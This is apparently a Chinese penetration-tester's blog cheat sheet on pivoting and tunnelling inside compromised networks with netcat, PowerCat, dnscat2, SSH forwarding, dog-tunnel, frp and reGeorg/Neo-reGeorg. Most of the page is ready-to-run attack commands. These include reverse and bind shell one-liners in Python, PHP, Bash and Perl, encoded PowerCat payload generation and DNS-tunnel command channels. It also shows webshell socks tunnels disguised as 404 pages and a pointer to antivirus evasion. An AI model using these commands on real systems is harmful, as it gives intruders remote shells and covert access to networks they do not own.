常用Proxy小结


title: 常用Proxy小结
date: 2020-04-09 20:37:30
tags:

  • Proxy
  • 总结
  • 代理
    categories: 知识整理

toc: true

在用的内网代理。。。。。。

代理小结

先写这么多- - - - - - --

信息搜集

BloodHound

地址:https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.2/BloodHound-win32-x64.zip

简介

免费工具。

通过图形化方式将域内资源直观的展示,更好的分析域内情况。以便于更快的找到弱点。

安装配置

  • Java环境
  • Neo4j数据库

配套域内信息搜集工具https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.exe

代理工具

NetCat

在LinuxNC,弹回shell且无法切到bash时候。

python -c 'import pty;pty.spawn("/bin/bash")'

常用语法

  • 端口扫描
nc -v ip port
nc -v -z ip 1-1024
  • 端口监听
nc -lpvv 9999
客户端连接:nc -nvv ip port
  • 文件传输
nc -vn ip port < text.txt -q 1                # 与目标IP建立连接并传输给IP一个文件
  • 正向shell
# 服务端
nc -lpvv port -e /bin/bash
nc -lpvv port -e c:\windows\system32\cmd.exe
# 客户端
nc ip port 
  • 反向连接
# 服务端
nc -lvvp port
# 客户端
nc ip port -e /bin/bash
nc ip port -e c:\windows\system32\cmd.exe

其他语言连接NC

  • python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("VPS",6666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
  • PHP
<?php                                                                                     $sock = fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");?> 
  
 php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
  • Bash
bash -i >& /dev/tcp/192.168.90.93/9999 0>&1(内网主机执行)
nc -lvv -p 5555(公网主机执行)
bash -i >& /dev/tcp/192.168.90.93/9999 0>&1
正向连接:
ncat -lvv -p 10000 -e /bin/bash (nc -lvv -p 6666 -c bash)
nc -n ip port

反向连接:
nc -nv ip port -c bash
nc -lvv -p port
  • Per
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PowerCat

根据名称即可知道,可配合Netcat也可单独用。(不过杀软)

Set-ExecutionPolicy Unrestricted # 设置允许所有ps脚本

Import-Module powerboat.ps1 # 导入

地址:https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
使用方法

参数:

-l # 监听模式
-p # 端口
-e # 指定要启动的进程的名称
-v # 显示详情
-ep # 返回powershell
-c # 指定连接的IP地址
-of # 指定接受文件后的输出文件名
-i # 输入 可写文件名|字符串
-g # 生成payload
-ge # 编码
  • 通过NC的正向连接PowerCat. (本地win10测试通过)
powercat -l -p 8080 -e cmd.exe -v            # 可以指定powershell
        
nc ip 8080 -vv            # 
  • 通过nc反向连接
nc -lvv -p 8888

powercat -c ip -p port -v -e cmd.exe
  • 通过powercat返回powershell
powercat -l -p port -v

powercat -c ip -p port -v -ep
  • 通过powercat传输文件
powercat -l -p 9999 -of test.txt -v  # 接受

powercat -c ip -p port -i c:\test.txt -v   # 发送

生成Payload

用powercat生成的payload有正反区分且可以对其编码

  • 简单payload生成
powercat -l -p 8080 -e cmd -v -g >> shell.ps1  # 将其输出到文件执行
powercat -c ip -p port -v

powercat -c ip -p port -ep -ge    # 生成编码的payload

DNS隧道通信

其DNS通信基于dnscat,因此其服务端需要dnscat。如果实在不能安装,参考官网。。。

这里仅仅是Debian Linux。客户端make时候报错,但是不影响。。。可以./dnscat测试一下是否正常。

# 服务端
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

# 客户端
https://downloads.skullsecurity.org/dnscat2/ 
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
ruby ./dnscat2.rb ttpowercat.test -e open --no-cache

powercat -c ip -p port -dns ttpowercat.test -e cmd.exe

跳板

  • TCP
# 第一台:目标机
powercat -l -v -p 9999 -e cmd.exe   

# 第二台:跳板机
powercat -l -v -p 8000 -r tcp:目标机地址:9999

# 第三台:攻击者
nc 跳板机地址 8000 -v
  • DNS
# 跳板机
powercat -l -p 8000 -r dns:攻击者::ttpowercat.test

# 攻击者
./dnscat2.rb ttpowercat.test -e open --no-cache

# 目标机
powercat -c 跳板机 -p 8000 -v -e cmd.exe

SSH

参数

-C # 压缩传输,提高速度
-f # SSh传输转到后台执行,不占用当前shell
-N # 建立静默连接(建立连接,看不到会话)
-g # 允许远程主机连接本地用于转发的端口
-L # 本地端口转发
-R # 远程端口转发
-D # 动态转发(SOCKS代理)
-P # 指定SSH端口
  • 本地转发
ssh -CFNg -L port(VPS):ip(目标机):port(目标机) root@ip(跳板机) 
# VPS执行,将目标机端口转到VPS
  • 远程端口转发
ssh -CFNg -R port(VPS):ip(目标机):port(目标机) root@ip(vps) 
# 内网跳板机执行,将内网目标机的端口转到VPS端口
  • 动态转发
ssh -CFNg -D port(VPS) root@ip(跳板机)
# SOCK4/5代理

dog-tunnel-lite

Linux编译

我的Linux为debian_8_x64

  • 首先根据Github官方的文档,进行Linux版本编译x64。
go get github.com/klauspost/reedsolomon
go get github.com/cznic/zappy
go get -u -d github.com/vzex/dog-tunnel && cd $GOPATH/src/github.com/vzex/dog-tunnel/ && git checkout udpVersion && make
# 注意git checkout udpVersion 这个才是dog-tunnel-lite,如果git checkout master则是dog-tunnel

编译成功之后,会在/usr/local/gopackage/src/github.com/vzex/dog-tunnel文件夹下生成如下目录:

root@pq:/usr/local/gopackage/src/github.com/vzex# tree dog-tunnel/
dog-tunnel/
├── client.go
├── common
│   ├── cache.go
│   ├── cache_test.go
│   └── common.go
├── dog-tunnel.png
├── dtunnel_lite
├── HowToUse.txt
├── ikcp
│   ├── ikcp.go
│   ├── ikcp_h.go
│   ├── ikcp_test.go
│   └── ikcp_test_h.go
├── Makefile
├── pipe
│   ├── pipe.go
│   └── pipe_test.go
├── platform
│   ├── platform_darwin.go
│   ├── platform_unix.go
│   └── platform_win.go
├── README.md
└── release.sh

4 directories, 19 files

此时的dtunnel_lite即为编译好的x64版本dog-tunnel-lite版。

本地编译时候内存溢出。。。。。。放弃了

Windows编译 x64

我这里时Windows7_x64 。

  • Windows编译前置条件
1、go (添加环境变量)
# https://studygolang.com/dl  
# https://studygolang.com/dl/golang/go1.13.1.windows-amd64.msi

2、mingw64(GCC编译器,添加环境变量)
# https://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/mingw-builds/8.1.0/threads-posix/seh/
# https://nchc.dl.sourceforge.net/project/mingw-w64/Toolchains targetting Win64/Personal Builds/mingw-builds/8.1.0/threads-posix/seh/x86_64-8.1.0-release-posix-seh-rt_v6-rev0.7z
  • 打开CMD(任意目录),执行以下命令:
go get github.com/klauspost/reedsolomon
go get github.com/cznic/zappy
# 安装依赖,我这里不是以管理员命令执行的。因此安装以后文件在:C:\Users\aa\go\src\github.com\
  • 然后下载dog-tunnel-lite进行编译(注意自己的路径):
go get -u -d github.com/vzex/dog-tunnel # 下载dog-tunnel
cd C:\Users\aa\go\src\github.com\vzex\dog-tunnel  # 切换到文件下载目录
git checkout udpVersion  # 选择dog-tunnel-lite版本(也即是udpVersion)
go build client.go

然后发现C:\Users\aa\go\src\github.com\vzex\dog-tunnel出现了client.exe即dog-tunnel-lite_x64。

windows编译 x86

  • 首先将之前生成的client.exe移动到其他目录或者删除。(紧接着x64的,注意目录)
  • 使用go env命令,查看系统的配置环境,可以看到GOARCH(当前系统)是amd64
  • 执行 set GOARCH=386 配置go输出系统平台为32位,然后查看是否成功。(一下操作在当前窗口进行操作)
  • go build client.go,即可,查看属性->兼容性->设置,其中为可选即为32位,winhex在文件头中能找到
    >>>PE..d 的是64位

>>>PE..L 的是32位

  • 然后还原go,执行set GOARCH=amd64

使用方式

我个人主要是使用端口转发以及Socks5代理。

其他细节请参考https://github.com/vzex/dog-tunnel/blob/lite_v1.41/HowToUse.txt

参数说明  v1.20
    所有参数前面加了c/s字样,用于描述参数的可使用范围
    c表示只能客户端使用,s只能服务端
    cs代表两端必须一致 c|s代表两端都可以用,可不保证一致,具体用法参考--help
-action 指明通道行为,默认socks5(socks5代理服务),可设置ip:port,作为端口转发用,客户端可指定该参数,当服务端指定参数时会强制采用服务端策略, 指定参数route将开启透明代理模式,windows版本不支持该模式,该模式下请自行设置用户的DNS和网关,将需要的tcp连接通过iptables转发到-local端口即可
-auth 用于简单的登录验证,两端不一致时客户端会被断开
-debug 调试输出,需要和-v一起使用
-dnscache (有加速效果)当socks5(socks5_smart)模式时有效,指定dns缓存时间,默认0,单位分钟,socks5_smart模式下近端也可指定该参数,因为会有请求通过近端解析
-encrypt 客户端指定,表示该通道是否启用消息加密
-local 通道连通时本地监听端口,格式ip:port
-pipe (有加速效果)通道个数,默认1
-r 反向模式,true时客户端触发action行为,服务端监听local指定的端口
-service 通道服务端地址,客户端指定时为连接地址,服务端指定时为监听地址,用于通道打通,双方地址一致,一般为服务端ip:port
-tcp tcp模式,默认false,使用udp模式在网络差的环境下效率更高,cpu占用也更高(待优化),两端需一致
-timeout 客户端执行连接超时时间,tcp模式关闭模式时有效
-v 更多输出信息
-version 版本信息
-src 记录来源ip和访问目的ip

-xor 两端须一致,用于udp模式握手加密,内容为任意字符串(主要用于隐藏通讯协议特征,建议设置)
-session_timeout 指定连接会话在不活跃状态时多久(秒)后被销毁,防止被动连接的情况下产生僵尸socket,默认0不自动销毁
-kcp 可设置kcp协议相关参数,高级用户使用,格式参考-kcp nodelay:1;snd=100; 
  • Socks5代理(主要内网测试中经常用)

服务端(s,也即是公网主机运行命令),这里为Linux:

监听1.2.3.4:1234端口。指定加密字符传-xor ddd ,指定验证字符ccc,服务端强制启用 socks5代理

./dtunnel_lite -service 1.2.3.4:1234 -xor ddd -v -auth ccc -action socks5

客户端(内网主机)这里为windows:

连接到服务端1.2.3.4:1234,指定socks5代理,通道连通时候监听端口,这里使用了-r(也即是反向代理,表示服务器开放8899端口作为socks5代理。)

这里是只要使用socks5代理即可连通内网:socks5 : 1.2.3.4:8899

.\client.exe  -service 1.2.3.4:1234 -v -action socks5  -xor ddd -local :8899 -pipe 5 -session_timeout 30 -auth ccc -r
  • 端口转发(经常用在不出网的数据库等。。)

服务端:

./dtunnel_lite -service 1.2.3.4.106:1234 -xor ddd -v -auth ccc

客户端:

利用反向代理,将内网主机的80端口映射到公网主机的9999端口

.\client.exe  -service 1.2.3.4:1234  -v -action 127.0.0.1:3389 -encrypt -xor ddd -local :9999 -pipe 5 -r -auth ccc -encrypt

Fpr

只介绍常用的。

本地编译

# 首先需要Go环境
# git clone https://github.com/fatedier/frp.git
go get github.com/fatedier/frp
make -f Makefile.cross-compiles 
# 编译好的文件在 frp根目录下

官方成品

https://github.com/fatedier/frp/releases
# 官方编译好的,直接可用

使用方式

服务端:

./frps -c frps.ini

服务端通用写法:

一般不做dashboard用法,在内网代理/转发时候。

# [common] is integral section
[common]
# A literal address or host name for IPv6 must be enclosed
# in square brackets, as in "[::1]:80", "[ipv6-host]:http" or "[ipv6-host%zone]:80"
# 服务端默认监听的地址及端口
bind_addr = 0.0.0.0
bind_port = 7000

# udp port to help make udp hole to penetrate nat
bind_udp_port = 7001

# udp port used for kcp protocol, it can be same with 'bind_port'
# if not set, kcp is disabled in frps
# 作用和bind_port一样
kcp_bind_port = 7000

# auth token
token = 12345678

# 可视化界面(frp Web界面)
# set dashboard_addr and dashboard_port to view dashboard of frps
# dashboard_addr's default value is same with bind_addr
# dashboard is available only if dashboard_port is set
dashboard_addr = 0.0.0.0
dashboard_port = 7500
# dashboard user and passwd for basic auth protect, if not set, both default value is admin
dashboard_user = admin
dashboard_pwd = admin

./frpc -c frpc.ini

客户端通用写法:

[common]
server_addr = 192.168.90.231
server_port = 7000
# for authentication
token = 12345678
# set admin address for control frpc's action by http api such as reload
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# if remote_port is 0, frps will assign a random port for you
remote_port = 0

SSH转发

  • 第一种方式:将目标机的SSH端口转发到指定/随机端口
[common]
server_addr = 192.168.90.231
server_port = 7000

[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# if remote_port is 0, frps will assign a random port for you
remote_port = 0
  • 第二种:设置各种参数(传输加密、数据压缩、超时时间等)
[common]
server_addr = 192.168.90.231
server_port = 7000

[ssh]
# tcp | udp | http | https | stcp | xtcp, default is tcp(可用的协议)
type = tcp
local_ip = 127.0.0.1
local_port = 22
# limit bandwith for this proxy, unit is KB and MB(设置此代理的带宽)
bandwith_limit = 1MB
# true or false, if true, messages between frps and frpc will be encrypted, default is false(设置传输加密,默认不加密)
use_encryption = false
# if true, message will be compressed(传输数据压缩)
use_compression = false
# remote port listen by frps(转发到的端口,即client ssh:22----> Server:6001)
remote_port = 6001
# frps will load balancing connections for proxies in same group
group = test_group
# group should have same group key
group_key = 123456
# enable health check for the backend service, it support 'tcp' and 'http' now
# frpc will connect local service's port to detect it's healthy status
health_check_type = tcp
# health check connection timeout(超时时间)
health_check_timeout_s = 3
# if continuous failed in 3 times, the proxy will be removed from frps(最大错误次数,超过则删除代理)
health_check_max_failed = 3
# every 10 seconds will do a health check(检测代理的时间间隔)
health_check_interval_s = 10

HTTP/Socks5代理

将需要通过这个代理访问外网的内部机器的代理地址设置为192.168.90.231:6000,这样就可以通过 FRP 客户端机器的网络访问互联网了。
http_proxy 插件也支持认证机制,如果需要启用认证可通过配置参数 plugin_http_user 和 plugin_http_passwd 启用。
如需启用 Socks5 代理,只需将 plugin 的值更换为 socks5 即可。

[common]
server_addr = 192.168.90.231
server_port = 7000

[http_proxy]
type = tcp
remote_port = 6000
plugin = http_proxy
# 设置账号密码
# plugin_http_user = abc
# plugin_http_passwd = abc

# plugin = socks5
# plugin_user = abc
# plugin_passwd = abc

TCP/UDP端口转发

  • TCP协议进行端口转发,多端口需要,local_port和remote_port个数进行对应。
[common]
server_addr = 192.168.90.231
server_port = 7000

[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 80,88
remote_port = 8000,8888
  • UDP
[common]
server_addr = 192.168.90.231
server_port = 7000

[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false

reGeorg

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。

  • 首先上传tunnel.jsp到Web服务器,浏览器访问一下,确认正常解析。然后本地运行。
python reGeorgSocksProxy.py -u http://We地址/tunnel.jsp -p 9999    

配置proxyChains或者其他代理工具。

Neo-reGeorg

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 解决 reGeorg 现存在的问题,修复部分小BUG

查看帮助信息:

 π Neo-reGeorg master ❯ python3 neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [--read-buff Bytes]

Generate neoreg webshell

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Specify connection key.
  -o DIR, --outdir DIR  Output directory.
  -f FILE, --file FILE  Camouflage html page file
  --read-buff Bytes     Remote read buffer.(default: 513)
  
 π Neo-reGeorg master ❯ python3 neoreg.py  -h
usage: neoreg.py [-h] -u URI -k KEY [-l IP] [-p PORT] [-s] [-H LINE] [-c LINE]
                 [-x LINE] [--read-buff Bytes] [--read-interval MS]
                 [--max-threads N] [-v]

Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
(debug_all|debug_base64|debug_headers_key|debug_headers_values)

optional arguments:
  -h, --help            show this help message and exit
  -u URI, --url URI     The url containing the tunnel script
  -k KEY, --key KEY     Specify connection key
  -l IP, --listen-on IP
                        The default listening address.(default: 127.0.0.1)
  -p PORT, --listen-port PORT
                        The default listening port.(default: 1080)
  -s, --skip            Skip usability testing
  -H LINE, --header LINE
                        Pass custom header LINE to server
  -c LINE, --cookie LINE
                        Custom init cookies
  -x LINE, --proxy LINE
                        proto://host[:port] Use proxy on given port
  --read-buff Bytes     Local read buffer, max data to be sent per
                        POST.(default: 2048 max: 2600)
  --read-interval MS    Read data interval in milliseconds.(default: 100)
  --max-threads N       Proxy max threads.(default: 1000)
  -v                    Increase verbosity level (use -vv or more for greater
                        effect)
普通用法

服务端:首先需要设置密码生成

$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_server/tunnel.nosocket.php
       => neoreg_server/tunnel.js
       => neoreg_server/tunnel.php
       => neoreg_server/tunnel.ashx
       => neoreg_server/tunnel.aspx
       => neoreg_server/tunnel.tomcat.5.jsp
       => neoreg_server/tunnel.tomcat.5.jspx
       => neoreg_server/tunnel.jsp
       => neoreg_server/tunnel.jspx

客户端:

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [ERROR]
  Starting socks server [127.0.0.1:1080], tunnel at [http://k/tunnel.php]
+------------------------------------------------------------------------+

高级用法

  • 支持生成的服务端,在GET请求时响应页面内容 伪装成404等页面 自己构造404页面内容。
服务端:
$ python neoreg.py generate -k <you_password> --file 404.html

客户端
$ pytohn neoreg.py -k <you_password> -u <server_url> --skip
  • 如果服务端(即是你传的文件)需要设置代理才能访问。可以使用参数--proxy
$ pytohn neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  • 如需Authorization认证和定制的Header或Cookie
$ pytohn neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

DNScat

不想自己编译可直接下载。

https://downloads.skullsecurity.org/dnscat2/

Linux编译

其DNS通信基于dnscat,因此其服务端需要dnscat。如果实在不能安装,参考官网。。。

这里仅仅是Debian10_x64 Linux。我客户端make时候报错,但是不影响。。。可以./dnscat测试一下是否正常。

# 服务端
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

# 客户端
https://downloads.skullsecurity.org/dnscat2/ 
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
  • 配置服务端,建议使用自己配置的DNS。配置A,NS 解析
# 服务端
ruby ./dnscat2.rb vps.example.com -e open -c example.com --no-cache

# 服务端直连模式
ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=example.com
# -c 定义了'pre-shared secret',可以使用具有预共享密钥的身份验证机制来防止中间人攻击,如果未定义该参数,则会自动生成随机字符串,客户端需要

# -e 规定的安全级别  open 表示服务端允许客户端不进行加密
# --no-cache 禁止缓存,建议添加:powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容。

使用示例

没有配置域名,因此试验直连。

# 服务端  Linux
ruby dnscat2.rb -s 553 -c 123
# 客户端 Win 
PS C:\Users\windows10\Desktop> .\dnscat2-v0.07-client-win32.exe --dns server=VPS s,port=553 --secret=123


windows    # 查看连接
window -i 1  # 指定进入第一个连接
shell. # 开启SHELL连接,会新建一个连接,需要window -i 2

卡卡卡卡卡卡卡卡卡卡卡卡卡

。。。

PowerShell不免杀的话,请参考:https://butnomingzi.github.io/2020/03/26/PowerShell%E5%85%8D%E6%9D%80%E5%B7%A5%E5%85%B7-xencrypt/

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

  Previous post MySQL小结
Next post   sqlmap关于MSSQL执行命令思考

评论已关闭

生活其实很简单,过了今天就是明天。

低头哭过别忘了抬头继续走。

不要被任何人打乱自的脚步,因为没有谁会像你一样清楚和在乎自己梦想。

没有人可以打倒我,除非我自己先趴下!

你要记住你不是为别人而活,你是为自己而活。